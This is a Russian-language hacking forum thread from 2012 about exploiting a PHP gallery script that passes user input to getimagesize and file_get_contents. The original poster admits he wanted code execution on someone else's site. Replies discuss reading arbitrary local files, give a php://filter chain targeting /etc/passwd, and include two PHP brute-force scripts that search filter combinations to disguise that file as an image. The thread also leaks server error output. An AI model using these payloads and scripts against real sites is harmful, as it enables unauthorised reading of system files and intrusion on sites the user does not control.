Старый 14.06.2012, 00:24   #1
Kribrum
 
Регистрация: 14.06.2012
Сообщений: 13
Репутация: 2
По умолчанию Обход getimagesize

Здравствуйте уважаемые участники форума.
Столкнулся со следующей проблемой, существует сайт, на котором располагается подобие галереи. Судя по выводимым ошибкам, работает это примерно так:
Код:
<?php
getimagesize($_GET['id']) or die('unknown image');
$fp = file_get_contents($_GET['id']);
header("Content-type: image/gif");
echo $fp;
?>
Загрузка картинок с других сайтов разрешена. Вывод ошибок включен. Подскажите пожалуйста, есть ли возможность выжать из этого что-либо, кроме определения наличия/отсутствия файла на сервере?
Kribrum вне форума   Ответить с цитированием
Старый 14.06.2012, 00:29   #2
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

http://lab.onsec.ru/2012/05/php-all-...ge-bypass.html
BlackFan вне форума   Ответить с цитированием
Старый 14.06.2012, 00:55   #3
Kribrum
 
Регистрация: 14.06.2012
Сообщений: 13
Репутация: 2
По умолчанию

Огромное спасибо! Помогло, однако показало что не все так просто...
Теперь получаю:
Код:
<br />
<b>Warning</b>:  imagecreatefrompng() [<a href='function.imagecreatefrompng'>function.imagecreatefrompng</a>]: gd-png:  fatal libpng error: Read Error: truncated data in <b>/home/SOME/domains/SOMESITE/public_html/img/thumb.php</b> on line <b>29</b><br />
<br />
<b>Warning</b>:  imagecreatefrompng() [<a href='function.imagecreatefrompng'>function.imagecreatefrompng</a>]: gd-png error: setjmp returns error condition in <b>/home/SOME/domains/SOMESITE/public_html/img/thumb.php</b> on line <b>29</b><br />
<br />
<b>Warning</b>:  imagecreatefrompng() [<a href='function.imagecreatefrompng'>function.imagecreatefrompng</a>]: 'http://SOMESITE2/1.png' is not a valid PNG file in <b>/home/SOME/domains/SOMESITE/public_html/img/thumb.php</b> on line <b>29</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/SOME/domains/SOMESITE/public_html/img/thumb.php:29) in <b>/home/SOME/domains/SOMESITE/public_html/img/thumb.php</b> on line <b>35</b><br />
<br />
<b>Warning</b>:  imagecopyresampled(): supplied argument is not a valid Image resource in <b>/home/SOME/domains/SOMESITE/public_html/img/thumb.php</b> on line <b>38</b><br />
ЪьЪЮ�JFIF������ЪЧ�>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
Ъш�C�		

 $.' ",#(7),01444'9=82<.342Ъш�C			

2!!22222222222222222222222222222222222222222222222222Ъю��/�╤"�Ъд�����������	
Ъд�╣���}�!1AQa"q2│▒║#B╠аRяП$3br┌	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz┐└┘├┤┬┴┼▓⌠■∙√≈≤≥ ╒ё╓╔╕╖╗╘╙╡Ё╢╣╤╥╦╧╨бцдефгхийрстужвьызАБЦДЕФГХИЙЯРСТУЖВЬЫЗЪд��������	
Ъд�╣��w�!1AQaq"2│B▒║╠а	#3RПbrя
$4А%Я&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz┌┐└┘├┤┬┴┼▓⌠■∙√≈≤≥ ╒ё╓╔╕╖╗╘╙╡Ё╢╣╤╥╦╧╨бцдефгхийрстужвьызБЦДЕФГХИЙРСТУЖВЬЫЗЪз���?�ЫЧ┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═┼(═Ъы1
Следовательно понимаю что ошибся с чем-то вроде file_get_contents(); и картинка сначала создается, а потом выводится.
В какую сторону необходимо покопать, чтобы добиться вместо вывода содержимого текущей картинки - ту, которую подставляю я? Соответственно второй вопрос - если все-таки картинки каким-то образом merg'атся - может ли быть ситуация, когда содержимое нашей картинки(в частности кусок с PHP кодом) попадет в новое изображение?

Последний раз редактировалось Kribrum; 14.06.2012 в 00:59.. Причина: опечатка
Kribrum вне форума   Ответить с цитированием
Старый 14.06.2012, 15:37   #4
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Эм, чего ты хочешь добиться? Просто вывода картинки с другого сайта? А смысл?
Beched вне форума   Ответить с цитированием
Старый 14.06.2012, 18:43   #5
Kribrum
 
Регистрация: 14.06.2012
Сообщений: 13
Репутация: 2
По умолчанию

Хотел добиться выполнения кода. Понимаю что бесполезно
Спасибо за ответы, данный вопрос более не актуален.
Kribrum вне форума   Ответить с цитированием
Старый 17.06.2012, 22:55   #6
d0znpp
 
Аватар для d0znpp
 
Регистрация: 09.09.2010
Сообщений: 484
Репутация: 252
По умолчанию

Через эту штуку сложно выполнять команды, если только expect:// не подключен (PECL)
Но можно читать произвольные локальные файлы.
__________________
The Sucks Origin Policy
d0znpp вне форума   Ответить с цитированием
Старый 18.06.2012, 15:56   #7
Лаврушкин
 
Регистрация: 05.07.2010
Сообщений: 27
Репутация: 15
По умолчанию

Цитата:
Сообщение от d0znpp Посмотреть сообщение
Через эту штуку сложно выполнять команды, если только expect:// не подключен (PECL)
Но можно читать произвольные локальные файлы.
Покажи реализацию чтения например /etc/passwd
Лаврушкин вне форума   Ответить с цитированием
Старый 18.06.2012, 16:12   #8
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Теоретически можно прочитать файлы, начинающиеся с букв или тегов, применяя много раз фильтры convert.base64-encode и string.rot13 в обёртке php://filter/, пока заголовок не станет подходить под какую-то из сигнатур.
/etc/passwd начинается не с букв во фре, но это решается первоначальным декодированием:
php://filter/read=convert.base64-decode|convert.base64-encode/resource=/etc/passwd
Beched вне форума   Ответить с цитированием
Старый 19.06.2012, 12:39   #9
Beched
 
Регистрация: 06.07.2010
Сообщений: 400
Репутация: 118
По умолчанию

Гы, хотел добить вектор для /etc/passwd, пробовал по-разному гулять по двоичному дереву фильтров convert.base64-encode и string.rot13, не получалось. Потом стал гулять по троичному дереву, добавив string.tolower и сверяя по сигнатуре BMP.

PHP код:
<?
$head 
'free';
$need 'BM';
$depth 10;
$c 0;
function 
walk_tree$str$i ) {
        global 
$depth$need$c;
        ++
$c;
        if( 
$c 1000 == ) echo "now $i...";
        if( 
stripos$str$need ) === ) die( "\nFound $i. String $str);
        if( 
strlen$i ) > $depth ) return;
        
walk_treebase64_encode$str ), $i '1' );
        
walk_treestr_rot13$str ), $i '0' );
        
walk_treestrtolower$str ), $i '2' );
}
walk_tree$head'' );
Результат:

Код:
$ php getimagesize.php

Found 11111021021. String bmtjd3Ezcmp6amNhbjN5YW93d3ltdHU2bTJjYnJqMXludXUzbDJ1YXpxeD0=
Но проверяются не только сигнатуры! Вычисляется размер изображения. Поэтому лучше брутить самой функцией getimagesize. Брутил довольно долго с разными вариациями разветвлений по фильтрам. К примеру так:

PHP код:
<?
$file 
file_get_contents'/etc/passwd' );
$depth 15;
$c 0;
function 
walk_tree$str$i 0$s '' ) {
        global 
$depth$need$c;
        ++
$c;
        ++
$i;
        if( 
$c 1000 == ) echo ".";
        
file_put_contents'/tmp/imgbrute1'$str );
        if( 
getimagesize'/tmp/imgbrute1' ) ) die( "\nFound $s. String $str);
        if( 
$i $depth ) return;
        
walk_treebase64_encode$str ), $i$s 'convert.base64-encode|' );
        
walk_treestr_rot13$str ), $i$s 'string.rot13|' );
        
walk_treestrtoupper$str ), $i$s 'string.toupper|' );
}
walk_tree$file );
Но ни хера. Так что наверное можно, но геморно =) Надо получше ещё пробрутить по всем вариациям.
Beched вне форума   Ответить с цитированием
Ответ

Метки
getimagesize, include

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot